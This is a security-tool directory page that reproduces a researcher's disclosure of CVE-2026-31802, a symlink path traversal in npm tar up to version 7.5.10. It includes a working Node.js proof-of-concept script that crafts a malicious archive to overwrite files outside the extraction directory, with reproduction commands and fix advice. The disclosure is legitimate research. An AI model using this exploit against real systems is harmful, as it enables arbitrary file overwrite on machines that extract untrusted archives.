Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/jvr2022/cve-2026-31802
Vulnerability AnalysisExploitationWeb SecuritySupply Chain Security
GitHubjvr2022/cve-2026-31802

CVE-2026-31802

Proof of concept and technical write-up for CVE-2026-31802, a symlink path traversal in npm tar allowing arbitrary file overwrite outside extraction directory.

View Repository
11398 months agoNot yet reviewed
Share

CVE-2026-31802: tar Symlink Path Traversal / Arbitrary File Overwrite

Research: Joshua van Rijswijk

Description

This repository contains my proof of concept and write-up for CVE-2026-31802, a high-severity vulnerability in the npm tar package (node-tar) affecting versions <= 7.5.10.

I found that tar can be tricked into creating a symlink that points outside the intended extraction directory by using a drive-relative symlink target such as C:../../../target.txt. In practice, this makes it possible to escape cwd during extraction and turn archive extraction into an arbitrary file overwrite primitive.

The bug is reachable through normal extraction behavior with attacker-controlled tar archives.

Background

While looking at how tar handles symlink extraction, I noticed that certain linkpath values were treated inconsistently during sanitization and validation. In particular, drive-relative paths such as:

C:../../../target.txt

ended up being rewritten before use, but not validated in the same form they were ultimately stored and applied.

That mismatch is what makes the bug exploitable.

Root Cause

The vulnerability comes from how tar processes crafted symlink linkpath values during extraction.

At a high level, the extraction logic strips the drive prefix from a path like:

C:../../../target.txt

and rewrites it to:

../../../target.txt

However, the traversal safety check is performed against the original pre-stripped value, while symlink creation later uses the rewritten value.

That means a malicious archive can pass validation using one form of the path, but still produce a symlink that traverses outside the extraction directory when written to disk.

Exploitation Flow

A malicious archive can contain a symlink entry like this:

path: a/b/l
type: SymbolicLink
linkpath: C:../../../target.txt

When extracted with normal usage such as:

tar.x({ cwd, file })

the following happens:

  1. The drive prefix is stripped from linkpath.
  2. The escape check still evaluates the original value.
  3. The entry is accepted.
  4. The extracted symlink is created with the rewritten traversal path.
  5. A later write through that symlink reaches a file outside cwd.

In other words, the extraction logic validates one value and uses another. That gap creates the traversal primitive.

Proof of Concept

I wrote the following PoC to demonstrate that an extracted symlink can be made to point outside the extraction root and then used to overwrite a file outside the working directory.

The PoC:

  • creates ../target.txt
  • builds a malicious tar archive with a symlink entry at a/b/l
  • sets linkpath to C:../../../target.txt
  • extracts the archive into the current directory
  • writes through a/b/l
  • confirms that the outside file was overwritten

PoC script:

const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({
  path: 'a/b/l',
  type: 'SymbolicLink',
  linkpath: 'C:../../../target.txt',
}).encode(b, 0)

fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

Reproduction

Install a vulnerable version

npm install [email protected]

Run the PoC

node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt

Observed output

PWNED
../../../target.txt
lrwxrwxrwx ... a/b/l -> ../../../target.txt
-rw-r--r-- ... ../target.txt

PWNED confirms that the file outside the extraction directory was overwritten.

The readlink output and file listing show that the extracted symlink points outside the intended extraction root.

Impact

This issue gives an attacker an arbitrary file overwrite primitive outside the intended extraction directory, with the permissions of the process performing extraction.

Realistic scenarios include:

  • CLI tools extracting untrusted tarballs into a working directory
  • build and update pipelines consuming third-party archives
  • services that import user-supplied tar files
  • developer tooling that automatically unpacks bundles or artifacts

In those environments, a crafted archive can cause writes to land outside the directory the application expects to control.

Affected Versions

  • Affected: tar <= 7.5.10
  • Patched: tar 7.5.11

Fix

This issue was patched in 7.5.11.

Users should upgrade immediately:

npm install tar@^7.5.11

References

  • GitHub Advisory: GHSA-9ppj-qmqm-q256
  • CVE: CVE-2026-31802
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    916
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    558
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    370
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    360
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    317
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    289

Explore all tools

Browse our collection of tools

View all tools →